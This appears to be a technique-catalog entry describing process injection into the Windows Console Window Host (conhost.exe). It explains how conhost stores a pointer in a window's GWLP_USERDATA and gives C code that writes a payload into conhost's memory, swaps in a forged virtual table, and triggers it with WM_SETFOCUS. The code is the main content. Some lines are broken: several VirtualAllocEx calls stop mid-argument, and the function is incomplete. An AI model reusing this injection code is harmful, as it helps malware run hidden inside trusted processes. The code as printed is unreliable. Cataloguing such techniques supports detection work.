Created the Monday 05 October 2020. Updated 1 year, 12 months ago.

Every window object has support for User Data that can be set via the SetWindowLongPtr API and GWLP_USERDATA parameter. The User Data of a window is simply a small amount of memory that is normally used for storing a pointer to a class object.

In the case of the Console Window Host (conhost) process, it stores the address of a data structure. Contained within the structure is information about the window’s current position on the desktop, its dimensions, an object handle, and of course a class object with methods to control the behaviour of the console window.

Technique Identifier


Code Snippets

VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;
    // 1. Obtain handle and process id for a console window 
    //   (this assumes one already running)
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
    GetWindowThreadProcessId(hwnd, &ppid);
    // 2. Obtain the process id for the host process 
    pid = conhostId(ppid);
    // 3. Open the conhost.exe process
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    // 4. Allocate RWX memory and copy the payload there
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 5. Read the address of current virtual table
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr, 
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
    // 6. Read the current virtual table into local memory
    ReadProcessMemory(hp, (LPVOID)vTable, 
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
    // 7. Allocate RW memory for the new virtual table
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), 
    // 8. update the local copy of virtual table with 
    //    address of payload and write to remote process
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); 
    // 9. Update pointer to virtual table in remote process
    WriteProcessMemory(hp, (LPVOID)udptr, &ds, 
      sizeof(ULONG_PTR), &wr); 
    // 10. Trigger execution of the payload
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);
    // 11. Restore pointer to original virtual table
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable, 
      sizeof(ULONG_PTR), &wr);
    // 12. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

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